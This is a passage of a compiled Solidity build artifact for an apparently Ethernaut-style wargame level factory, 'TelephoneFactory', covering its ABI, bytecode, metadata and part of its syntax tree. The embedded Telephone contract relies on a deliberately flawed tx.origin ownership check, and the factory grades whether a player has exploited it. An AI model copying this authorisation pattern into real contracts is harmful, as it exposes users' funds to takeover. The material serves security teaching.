+{"abi":[{"type":"function","name":"createInstance","inputs":[{"name":"_player","type":"address","internalType":"address"}],"outputs":[{"name":"","type":"address","internalType":"address"}],"stateMutability":"payable"},{"type":"function","name":"owner","inputs":[],"outputs":[{"name":"","type":"address","internalType":"address"}],"stateMutability":"view"},{"type":"function","name":"renounceOwnership","inputs":[],"outputs":[],"stateMutability":"nonpayable"},{"type":"function","name":"transferOwnership","inputs":[{"name":"newOwner","type":"address","internalType":"address"}],"outputs":[],"stateMutability":"nonpayable"},{"type":"function","name":"validateInstance","inputs":[{"name":"_instance","type":"address","internalType":"address payable"},{"name":"_player","type":"address","internalType":"address"}],"outputs":[{"name":"","type":"bool","internalType":"bool"}],"stateMutability":"view"},{"type":"event","name":"OwnershipTransferred","inputs":[{"name":"previousOwner","type":"address","indexed":true,"internalType":"address"},{"name":"newOwner","type":"address","indexed":true,"internalType":"address"}],"anonymous":false}],"bytecode":{"object":"0x608060405234801561000f575f80fd5b506100193361001e565b61006d565b5f80546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b61056c8061007a5f395ff3fe608060405260043610610058575f3560e01c80638da5cb5b116100415780638da5cb5b146100a2578063d38def5b146100be578063f2fde38b146100ed575f80fd5b8063715018a61461005c5780637726f77614610072575b5f80fd5b348015610067575f80fd5b5061007061010c565b005b610085610080366004610345565b61011f565b6040516001600160a01b0390911681526020015b60405180910390f35b3480156100ad575f80fd5b505f546001600160a01b0316610085565b3480156100c9575f80fd5b506100dd6100d8366004610367565b61014e565b6040519015158152602001610099565b3480156100f8575f80fd5b50610070610107366004610345565b6101cf565b610114610264565b61011d5f6102bd565b565b5f8060405161012d90610324565b604051809103905ff080158015610146573d5f803e3d5ffd5b509392505050565b5f80839050826001600160a01b0316816001600160a01b0316638da5cb5b6040518163ffffffff1660e01b8152600401602060405180830381865afa158015610199573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906101bd919061039e565b6001600160a01b031614949350505050565b6101d7610264565b6001600160a01b0381166102585760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201527f646472657373000000000000000000000000000000000000000000000000000060648201526084015b60405180910390fd5b610261816102bd565b50565b5f546001600160a01b0316331461011d5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015260640161024f565b5f80546001600160a01b038381167fffffffffffffffffffffffff0000000000000000000000000000000000000000831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b61017d806103ba83390190565b6001600160a01b0381168114610261575f80fd5b5f60208284031215610355575f80fd5b813561036081610331565b9392505050565b5f8060408385031215610378575f80fd5b823561038381610331565b9150602083013561039381610331565b809150509250929050565b5f602082840312156103ae575f80fd5b81516103608161033156fe608060405234801561000f575f80fd5b505f80546001600160a01b0319163317905561014f8061002e5f395ff3fe608060405234801561000f575f80fd5b5060043610610034575f3560e01c80638da5cb5b14610038578063a6f9dae114610080575b5f80fd5b5f546100579073ffffffffffffffffffffffffffffffffffffffff1681565b60405173ffffffffffffffffffffffffffffffffffffffff909116815260200160405180910390f35b61009361008e3660046100df565b610095565b005b3233146100dc575f80547fffffffffffffffffffffffff00000000000000000000000000000000000000001673ffffffffffffffffffffffffffffffffffffffff83161790555b50565b5f602082840312156100ef575f80fd5b813573ffffffffffffffffffffffffffffffffffffffff81168114610112575f80fd5b939250505056fea2646970667358221220117d592b21bbdbdd2cc4c6e53ecc5f8f2209e65ce75747fa6806866fea146f0464736f6c63430008180033a2646970667358221220b86ebd26f9674fc55e384407989758f76a275d4f7d7b9c93b63657cb6b9c8e8364736f6c63430008180033","sourceMap":"112:444:111:-:0;;;;;;;;;;;;-1:-1:-1;936:32:23;719:10:34;936:18:23;:32::i;:::-;112:444:111;;2433:187:23;2506:16;2525:6;;-1:-1:-1;;;;;2541:17:23;;;-1:-1:-1;;;;;;2541:17:23;;;;;;2573:40;;2525:6;;;;;;;2573:40;;2506:16;2573:40;2496:124;2433:187;:::o;112:444:111:-;;;;;;;","linkReferences":{}},"deployedBytecode":{"object":"0x608060405260043610610058575f3560e01c80638da5cb5b116100415780638da5cb5b146100a2578063d38def5b146100be578063f2fde38b146100ed575f80fd5b8063715018a61461005c5780637726f77614610072575b5f80fd5b348015610067575f80fd5b5061007061010c565b005b610085610080366004610345565b61011f565b6040516001600160a01b0390911681526020015b60405180910390f35b3480156100ad575f80fd5b505f546001600160a01b0316610085565b3480156100c9575f80fd5b506100dd6100d8366004610367565b61014e565b6040519015158152602001610099565b3480156100f8575f80fd5b50610070610107366004610345565b6101cf565b610114610264565b61011d5f6102bd565b565b5f8060405161012d90610324565b604051809103905ff080158015610146573d5f803e3d5ffd5b509392505050565b5f80839050826001600160a01b0316816001600160a01b0316638da5cb5b6040518163ffffffff1660e01b8152600401602060405180830381865afa158015610199573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906101bd919061039e565b6001600160a01b031614949350505050565b6101d7610264565b6001600160a01b0381166102585760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201527f646472657373000000000000000000000000000000000000000000000000000060648201526084015b60405180910390fd5b610261816102bd565b50565b5f546001600160a01b0316331461011d5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015260640161024f565b5f80546001600160a01b038381167fffffffffffffffffffffffff0000000000000000000000000000000000000000831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b61017d806103ba83390190565b6001600160a01b0381168114610261575f80fd5b5f60208284031215610355575f80fd5b813561036081610331565b9392505050565b5f8060408385031215610378575f80fd5b823561038381610331565b9150602083013561039381610331565b809150509250929050565b5f602082840312156103ae575f80fd5b81516103608161033156fe608060405234801561000f575f80fd5b505f80546001600160a01b0319163317905561014f8061002e5f395ff3fe608060405234801561000f575f80fd5b5060043610610034575f3560e01c80638da5cb5b14610038578063a6f9dae114610080575b5f80fd5b5f546100579073ffffffffffffffffffffffffffffffffffffffff1681565b60405173ffffffffffffffffffffffffffffffffffffffff909116815260200160405180910390f35b61009361008e3660046100df565b610095565b005b3233146100dc575f80547fffffffffffffffffffffffff00000000000000000000000000000000000000001673ffffffffffffffffffffffffffffffffffffffff83161790555b50565b5f602082840312156100ef575f80fd5b813573ffffffffffffffffffffffffffffffffffffffff81168114610112575f80fd5b939250505056fea2646970667358221220117d592b21bbdbdd2cc4c6e53ecc5f8f2209e65ce75747fa6806866fea146f0464736f6c63430008180033a2646970667358221220b86ebd26f9674fc55e384407989758f76a275d4f7d7b9c93b63657cb6b9c8e8364736f6c63430008180033","sourceMap":"112:444:111:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;1831:101:23;;;;;;;;;;;;;:::i;:::-;;153:187:111;;;;;;:::i;:::-;;:::i;:::-;;;-1:-1:-1;;;;;589:55:155;;;571:74;;559:2;544:18;153:187:111;;;;;;;;1201:85:23;;;;;;;;;;-1:-1:-1;1247:7:23;1273:6;-1:-1:-1;;;;;1273:6:23;1201:85;;346:208:111;;;;;;;;;;-1:-1:-1;346:208:111;;;;;:::i;:::-;;:::i;:::-;;;1222:14:155;;1215:22;1197:41;;1185:2;1170:18;346:208:111;1057:187:155;2081:198:23;;;;;;;;;;-1:-1:-1;2081:198:23;;;;;:::i;:::-;;:::i;1831:101::-;1094:13;:11;:13::i;:::-;1895:30:::1;1922:1;1895:18;:30::i;:::-;1831:101::o:0;153:187:111:-;227:7;263:18;284:15;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;263:36:111;153:187;-1:-1:-1;;;153:187:111:o;346:208::-;446:4;462:18;493:9;462:41;;540:7;-1:-1:-1;;;;;520:27:111;:8;-1:-1:-1;;;;;520:14:111;;:16;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1;;;;;520:27:111;;;346:208;-1:-1:-1;;;;346:208:111:o;2081:198:23:-;1094:13;:11;:13::i;:::-;-1:-1:-1;;;;;2169:22:23;::::1;2161:73;;;::::0;-1:-1:-1;;;2161:73:23;;1707:2:155;2161:73:23::1;::::0;::::1;1689:21:155::0;1746:2;1726:18;;;1719:30;1785:34;1765:18;;;1758:62;1856:8;1836:18;;;1829:36;1882:19;;2161:73:23::1;;;;;;;;;2244:28;2263:8;2244:18;:28::i;:::-;2081:198:::0;:::o;1359:130::-;1247:7;1273:6;-1:-1:-1;;;;;1273:6:23;719:10:34;1422:23:23;1414:68;;;;-1:-1:-1;;;1414:68:23;;2114:2:155;1414:68:23;;;2096:21:155;;;2133:18;;;2126:30;2192:34;2172:18;;;2165:62;2244:18;;1414:68:23;1912:356:155;2433:187:23;2506:16;2525:6;;-1:-1:-1;;;;;2541:17:23;;;;;;;;;;2573:40;;2525:6;;;;;;;2573:40;;2506:16;2573:40;2496:124;2433:187;:::o;-1:-1:-1:-;;;;;;;;:::o;14:154:155:-;-1:-1:-1;;;;;93:5:155;89:54;82:5;79:65;69:93;;158:1;155;148:12;173:247;232:6;285:2;273:9;264:7;260:23;256:32;253:52;;;301:1;298;291:12;253:52;340:9;327:23;359:31;384:5;359:31;:::i;:::-;409:5;173:247;-1:-1:-1;;;173:247:155:o;656:396::-;732:6;740;793:2;781:9;772:7;768:23;764:32;761:52;;;809:1;806;799:12;761:52;848:9;835:23;867:31;892:5;867:31;:::i;:::-;917:5;-1:-1:-1;974:2:155;959:18;;946:32;987:33;946:32;987:33;:::i;:::-;1039:7;1029:17;;;656:396;;;;;:::o;1249:251::-;1319:6;1372:2;1360:9;1351:7;1347:23;1343:32;1340:52;;;1388:1;1385;1378:12;1340:52;1420:9;1414:16;1439:31;1464:5;1439:31;:::i","linkReferences":{}},"methodIdentifiers":{"createInstance(address)":"7726f776","owner()":"8da5cb5b","renounceOwnership()":"715018a6","transferOwnership(address)":"f2fde38b","validateInstance(address,address)":"d38def5b"},"rawMetadata":"{\"compiler\":{\"version\":\"0.8.24+commit.e11b9ed9\"},\"language\":\"Solidity\",\"output\":{\"abi\":[{\"anonymous\":false,\"inputs\":[{\"indexed\":true,\"internalType\":\"address\",\"name\":\"previousOwner\",\"type\":\"address\"},{\"indexed\":true,\"internalType\":\"address\",\"name\":\"newOwner\",\"type\":\"address\"}],\"name\":\"OwnershipTransferred\",\"type\":\"event\"},{\"inputs\":[{\"internalType\":\"address\",\"name\":\"_player\",\"type\":\"address\"}],\"name\":\"createInstance\",\"outputs\":[{\"internalType\":\"address\",\"name\":\"\",\"type\":\"address\"}],\"stateMutability\":\"payable\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"owner\",\"outputs\":[{\"internalType\":\"address\",\"name\":\"\",\"type\":\"address\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"renounceOwnership\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"address\",\"name\":\"newOwner\",\"type\":\"address\"}],\"name\":\"transferOwnership\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"address payable\",\"name\":\"_instance\",\"type\":\"address\"},{\"internalType\":\"address\",\"name\":\"_player\",\"type\":\"address\"}],\"name\":\"validateInstance\",\"outputs\":[{\"internalType\":\"bool\",\"name\":\"\",\"type\":\"bool\"}],\"stateMutability\":\"view\",\"type\":\"function\"}],\"devdoc\":{\"kind\":\"dev\",\"methods\":{\"owner()\":{\"details\":\"Returns the address of the current owner.\"},\"renounceOwnership()\":{\"details\":\"Leaves the contract without owner. It will not be possible to call `onlyOwner` functions anymore. Can only be called by the current owner. NOTE: Renouncing ownership will leave the contract without an owner, thereby removing any functionality that is only available to the owner.\"},\"transferOwnership(address)\":{\"details\":\"Transfers ownership of the contract to a new account (`newOwner`). Can only be called by the current owner.\"}},\"version\":1},\"userdoc\":{\"kind\":\"user\",\"methods\":{},\"version\":1}},\"settings\":{\"compilationTarget\":{\"src/levels/TelephoneFactory.sol\":\"TelephoneFactory\"},\"evmVersion\":\"shanghai\",\"libraries\":{},\"metadata\":{\"bytecodeHash\":\"ipfs\"},\"optimizer\":{\"enabled\":true,\"runs\":1000},\"remappings\":[\":ds-test/=lib/openzeppelin-contracts-upgradeable/lib/forge-std/lib/ds-test/src/\",\":erc4626-tests/=lib/openzeppelin-contracts-upgradeable/lib/erc4626-tests/\",\":forge-std/=lib/forge-std/src/\",\":openzeppelin-contracts-06/=lib/openzeppelin-contracts-06/contracts/\",\":openzeppelin-contracts-08/=lib/openzeppelin-contracts-08/contracts/\",\":openzeppelin-contracts-upgradeable/=lib/openzeppelin-contracts-upgradeable/\",\":openzeppelin-upgradeable/=lib/openzeppelin-contracts-upgradeable/contracts/\",\":openzeppelin/=lib/openzeppelin-contracts-upgradeable/contracts/\"]},\"sources\":{\"lib/openzeppelin-contracts-08/contracts/access/Ownable.sol\":{\"keccak256\":\"0xa94b34880e3c1b0b931662cb1c09e5dfa6662f31cba80e07c5ee71cd135c9673\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://40fb1b5102468f783961d0af743f91b9980cf66b50d1d12009f6bb1869cea4d2\",\"dweb:/ipfs/QmYqEbJML4jB1GHbzD4cUZDtJg5wVwNm3vDJq1GbyDus8y\"]},\"lib/openzeppelin-contracts-08/contracts/utils/Context.sol\":{\"keccak256\":\"0xe2e337e6dde9ef6b680e07338c493ebea1b5fd09b43424112868e9cc1706bca7\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://6df0ddf21ce9f58271bdfaa85cde98b200ef242a05a3f85c2bc10a8294800a92\",\"dweb:/ipfs/QmRK2Y5Yc6BK7tGKkgsgn3aJEQGi5aakeSPZvS65PV8Xp3\"]},\"src/levels/Telephone.sol\":{\"keccak256\":\"0xa4fd1de634a0a23ddb2062807a003081821701f1c5d441a0a4427ca7b57cf170\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://1881bf7750a7ebd8c5a9239f6e5c72b97d97ec9612e80608e7199d3d9ea2c7b1\",\"dweb:/ipfs/QmUJL2Um5nMWYjxpa7gBTpeQUeDGi7Sr8uBo9YAixARiDZ\"]},\"src/levels/TelephoneFactory.sol\":{\"keccak256\":\"0xae51e2295e715886402f5ef7a4199d7256330116f64ba84672552e501595649d\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://1b85df96e3f0eaee4aeda387987cbf557f7d9d99ba8373ce4d2a4eadccffb723\",\"dweb:/ipfs/QmSp5PwY3GYFp9YbungJpTxBNkPjrVrp9B7VgTf9qBGaoL\"]},\"src/levels/base/Level.sol\":{\"keccak256\":\"0x23e8a2c9454707c888fc4dc4cc44d89e5928e8d58a1f9c8f5c16c36697aadfdf\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://693402ec163e362b086874db09be2d1d11111276f70100bf9192a0fb3f5d9ccd\",\"dweb:/ipfs/QmSsygUUkJHRh13rGUQ4BrMTnzmPQKrRsBABS4Yk11kfAA\"]}},\"version\":1}","metadata":{"compiler":{"version":"0.8.24+commit.e11b9ed9"},"language":"Solidity","output":{"abi":[{"inputs":[{"internalType":"address","name":"previousOwner","type":"address","indexed":true},{"internalType":"address","name":"newOwner","type":"address","indexed":true}],"type":"event","name":"OwnershipTransferred","anonymous":false},{"inputs":[{"internalType":"address","name":"_player","type":"address"}],"stateMutability":"payable","type":"function","name":"createInstance","outputs":[{"internalType":"address","name":"","type":"address"}]},{"inputs":[],"stateMutability":"view","type":"function","name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}]},{"inputs":[],"stateMutability":"nonpayable","type":"function","name":"renounceOwnership"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"stateMutability":"nonpayable","type":"function","name":"transferOwnership"},{"inputs":[{"internalType":"address payable","name":"_instance","type":"address"},{"internalType":"address","name":"_player","type":"address"}],"stateMutability":"view","type":"function","name":"validateInstance","outputs":[{"internalType":"bool","name":"","type":"bool"}]}],"devdoc":{"kind":"dev","methods":{"owner()":{"details":"Returns the address of the current owner."},"renounceOwnership()":{"details":"Leaves the contract without owner. It will not be possible to call `onlyOwner` functions anymore. Can only be called by the current owner. NOTE: Renouncing ownership will leave the contract without an owner, thereby removing any functionality that is only available to the owner."},"transferOwnership(address)":{"details":"Transfers ownership of the contract to a new account (`newOwner`). Can only be called by the current owner."}},"version":1},"userdoc":{"kind":"user","methods":{},"version":1}},"settings":{"remappings":["ds-test/=lib/openzeppelin-contracts-upgradeable/lib/forge-std/lib/ds-test/src/","erc4626-tests/=lib/openzeppelin-contracts-upgradeable/lib/erc4626-tests/","forge-std/=lib/forge-std/src/","openzeppelin-contracts-06/=lib/openzeppelin-contracts-06/contracts/","openzeppelin-contracts-08/=lib/openzeppelin-contracts-08/contracts/","openzeppelin-contracts-upgradeable/=lib/openzeppelin-contracts-upgradeable/","openzeppelin-upgradeable/=lib/openzeppelin-contracts-upgradeable/contracts/","openzeppelin/=lib/openzeppelin-contracts-upgradeable/contracts/"],"optimizer":{"enabled":true,"runs":1000},"metadata":{"bytecodeHash":"ipfs"},"compilationTarget":{"src/levels/TelephoneFactory.sol":"TelephoneFactory"},"evmVersion":"shanghai","libraries":{}},"sources":{"lib/openzeppelin-contracts-08/contracts/access/Ownable.sol":{"keccak256":"0xa94b34880e3c1b0b931662cb1c09e5dfa6662f31cba80e07c5ee71cd135c9673","urls":["bzz-raw://40fb1b5102468f783961d0af743f91b9980cf66b50d1d12009f6bb1869cea4d2","dweb:/ipfs/QmYqEbJML4jB1GHbzD4cUZDtJg5wVwNm3vDJq1GbyDus8y"],"license":"MIT"},"lib/openzeppelin-contracts-08/contracts/utils/Context.sol":{"keccak256":"0xe2e337e6dde9ef6b680e07338c493ebea1b5fd09b43424112868e9cc1706bca7","urls":["bzz-raw://6df0ddf21ce9f58271bdfaa85cde98b200ef242a05a3f85c2bc10a8294800a92","dweb:/ipfs/QmRK2Y5Yc6BK7tGKkgsgn3aJEQGi5aakeSPZvS65PV8Xp3"],"license":"MIT"},"src/levels/Telephone.sol":{"keccak256":"0xa4fd1de634a0a23ddb2062807a003081821701f1c5d441a0a4427ca7b57cf170","urls":["bzz-raw://1881bf7750a7ebd8c5a9239f6e5c72b97d97ec9612e80608e7199d3d9ea2c7b1","dweb:/ipfs/QmUJL2Um5nMWYjxpa7gBTpeQUeDGi7Sr8uBo9YAixARiDZ"],"license":"MIT"},"src/levels/TelephoneFactory.sol":{"keccak256":"0xae51e2295e715886402f5ef7a4199d7256330116f64ba84672552e501595649d","urls":["bzz-raw://1b85df96e3f0eaee4aeda387987cbf557f7d9d99ba8373ce4d2a4eadccffb723","dweb:/ipfs/QmSp5PwY3GYFp9YbungJpTxBNkPjrVrp9B7VgTf9qBGaoL"],"license":"MIT"},"src/levels/base/Level.sol":{"keccak256":"0x23e8a2c9454707c888fc4dc4cc44d89e5928e8d58a1f9c8f5c16c36697aadfdf","urls":["bzz-raw://693402ec163e362b086874db09be2d1d11111276f70100bf9192a0fb3f5d9ccd","dweb:/ipfs/QmSsygUUkJHRh13rGUQ4BrMTnzmPQKrRsBABS4Yk11kfAA"],"license":"MIT"}},"version":1},"ast":{"absolutePath":"src/levels/TelephoneFactory.sol","id":55370,"exportedSymbols":{"Context":[48281],"Level":[55508],"Ownable":[46700],"Telephone":[55314],"TelephoneFactory":[55369]},"nodeType":"SourceUnit","src":"33:524:111","nodes":[{"id":55316,"nodeType":"PragmaDirective","src":"33:23:111","nodes":[],"literals":["solidity","^","0.8",".0"]},{"id":55317,"nodeType":"ImportDirective","src":"58:26:111","nodes":[],"absolutePath":"src/levels/base/Level.sol","file":"./base/Level.sol","nameLocation":"-1:-1:-1","scope":55370,"sourceUnit":55509,"symbolAliases":[],"unitAlias":""},{"id":55318,"nodeType":"ImportDirective","src":"85:25:111","nodes":[],"absolutePath":"src/levels/Telephone.sol","file":"./Telephone.sol","nameLocation":"-1:-1:-1","scope":55370,"sourceUnit":55315,"symbolAliases":[],"unitAlias":""},{"id":55369,"nodeType":"ContractDefinition","src":"112:444:111","nodes":[{"id":55344,"nodeType":"FunctionDefinition","src":"153:187:111","nodes":[],"body":{"id":55343,"nodeType":"Block","src":"236:104:111","nodes":[],"statements":[{"expression":{"id":55328,"name":"_player","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":55322,"src":"246:7:111","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"id":55329,"nodeType":"ExpressionStatement","src":"246:7:111"},{"assignments":[55332],"declarations":[{"constant":false,"id":55332,"mutability":"mutable","name":"instance","nameLocation":"273:8:111","nodeType":"VariableDeclaration","scope":55343,"src":"263:18:111","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_contract$_Telephone_$55314","typeString":"contract Telephone"},"typeName":{"id":55331,"nodeType":"UserDefinedTypeName","pathNode":{"id":55330,"name":"Telephone","nameLocations":["263:9:111"],"nodeType":"IdentifierPath","referencedDeclaration":55314,"src":"263:9:111"},"referencedDeclaration":55314,"src":"263:9:111","typeDescriptions":{"typeIdentifier":"t_contract$_Telephone_$55314","typeString":"contract Telephone"}},"visibility":"internal"}],"id":55337,"initialValue":{"arguments":[],"expression":{"argumentTypes":[],"id":55335,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"nodeType":"NewExpression","src":"284:13:111","typeDescriptions":{"typeIdentifier":"t_function_creation_nonpayable$__$returns$_t_contract$_Telephone_$55314_$","typeString":"function () returns (contract Telephone)"},"typeName":{"id":55334,"nodeType":"UserDefinedTypeName","pathNode":{"id":55333,"name":"Telephone","nameLocations":["288:9:111"],"nodeType":"IdentifierPath","referencedDeclaration":55314,"src":"288:9:111"},"referencedDeclaration":55314,"src":"288:9:111","typeDescriptions":{"typeIdentifier":"t_contract$_Telephone_$55314","typeString":"contract Telephone"}}},"id":55336,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"284:15:111","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_contract$_Telephone_$55314","typeString":"contract Telephone"}},"nodeType":"VariableDeclarationStatement","src":"263:36:111"},{"expression":{"arguments":[{"id":55340,"name":"instance","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":55332,"src":"324:8:111","typeDescriptions":{"typeIdentifier":"t_contract$_Telephone_$55314","typeString":"contract Telephone"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_contract$_Telephone_$55314","typeString":"contract Telephone"}],"id":55339,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"316:7:111","typeDescriptions":{"typeIdentifier":"t_type$_t_address_$","typeString":"type(address)"},"typeName":{"id":55338,"name":"address","nodeType":"ElementaryTypeName","src":"316:7:111","typeDescriptions":{}}},"id":55341,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"316:17:111","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"functionReturnParameters":55327,"id":55342,"nodeType":"Return","src":"309:24:111"}]},"baseFunctions":[55498],"functionSelector":"7726f776","implemented":true,"kind":"function","modifiers":[],"name":"createInstance","nameLocation":"162:14:111","overrides":{"id":55324,"nodeType":"OverrideSpecifier","overrides":[],"src":"209:8:111"},"parameters":{"id":55323,"nodeType":"ParameterList","parameters":[{"constant":false,"id":55322,"mutability":"mutable","name":"_player","nameLocation":"185:7:111","nodeType":"VariableDeclaration","scope":55344,"src":"177:15:111","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":55321,"name":"address","nodeType":"ElementaryTypeName","src":"177:7:111","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"176:17:111"},"returnParameters":{"id":55327,"nodeType":"ParameterList","parameters":[{"constant":false,"id":55326,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":55344,"src":"227:7:111","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":55325,"name":"address","nodeType":"ElementaryTypeName","src":"227:7:111","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"226:9:111"},"scope":55369,"stateMutability":"payable","virtual":false,"visibility":"public"},{"id":55368,"nodeType":"FunctionDefinition","src":"346:208:111","nodes":[],"body":{"id":55367,"nodeType":"Block","src":"452:102:111","nodes":[],"statements":[{"assignments":[55356],"declarations":[{"constant":false,"id":55356,"mutability":"mutable","name":"instance","nameLocation":"472:8:111","nodeType":"VariableDeclaration","scope":55367,"src":"462:18:111","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_contract$_Telephone_$55314","typeString":"contract Telephone"},"typeName":{"id":55355,"nodeType":"UserDefinedTypeName","pathNode":{"id":55354,"name":"Telephone","nameLocations":["462:9:111"],"nodeType":"IdentifierPath","referencedDeclaration":55314,"src":"462:9:111"},"referencedDeclaration":55314,"src":"462:9:111","typeDescriptions":{"typeIdentifier":"t_contract$_Telephone_$55314","typeString":"contract Telephone"}},"visibility":"internal"}],"id":55360,"initialValue":{"arguments":[{"id":55358,"name":"_instance","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":55346,"src":"493:9:111","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address_payable","typeString":"address payable"}],"id":55357,"name":"Telephone","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":55314,"src":"483:9:111","typeDescriptions":{"typeIdentifier":"t_type$_t_contract$_Telephone_$55314_$","typeString":"type(contract Telephone)"}},"id":55359,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"483:20:111","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_contract$_Telephone_$55314","typeString":"contract Telephone"}},"nodeType":"VariableDeclarationStatement","src":"462:41:111"},{"expression":{"commonType":{"typeIdentifier":"t_address","typeString":"address"},"id":55365,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"arguments":[],"expression":{"argumentTypes":[],"expression":{"id":55361,"name":"instance","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":55356,"src":"520:8:111","typeDescriptions":{"typeIdentifier":"t_contract$_Telephone_$55314","typeString":"contract Telephone"}},"id":55362,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"529:5:111","memberName":"owner","nodeType":"MemberAccess","referencedDeclaration":55287,"src":"520:14:111","typeDescriptions":{"typeIdentifier":"t_function_external_view$__$returns$_t_address_$","typeString":"function () view external returns (address)"}},"id":55363,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"520:16:111","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"nodeType":"BinaryOperation","operator":"==","rightExpression":{"id":55364,"name":"_player","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":55348,"src":"540:7:111","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"src":"520:27:111","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"functionReturnParameters":55353,"id":55366,"nodeType":"Return","src":"513:34:111"}]},"baseFunctions":[55507],"functionSelector":"d38def5b","implemented":true,"kind":"function","modifiers":[],"name":"validateInstance","nameLocation":"355:16:111","overrides":{"id":55350,"nodeType":"OverrideSpecifier","overrides":[],"src":"428:8:111"},"parameters":{"id":55349,"nodeType":"ParameterList","parameters":[{"constant":false,"id":55346,"mutability":"mutable","name":"_instance","nameLocation":"388:9:111","nodeType":"VariableDeclaration","scope":55368,"src":"372:25:111","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"},"typeName":{"id":55345,"name":"address","nodeType":"ElementaryTypeName","src":"372:15:111","stateMutability":"payable","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}},"visibility":"internal"},{"constant":false,"id":55348,"mutability":"mutable","name":"_player","nameLocation":"407:7:111","nodeType":"VariableDeclaration","scope":55368,"src":"399:15:111","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":55347,"name":"address","nodeType":"ElementaryTypeName","src":"399:7:111","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"371:44:111"},"returnParameters":{"id":55353,"nodeType":"ParameterList","parameters":[{"constant":false,"id":55352,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":55368,"src":"446:4:111","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":55351,"name":"bool","nodeType":"ElementaryTypeName","src":"446:4:111","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"}],"src":"445:6:111"},"scope":55369,"stateMutability":"view","virtual":false,"visibility":"public"}],"abstract":false,"baseContracts":[{"baseName":{"id":55319,"name":"Level",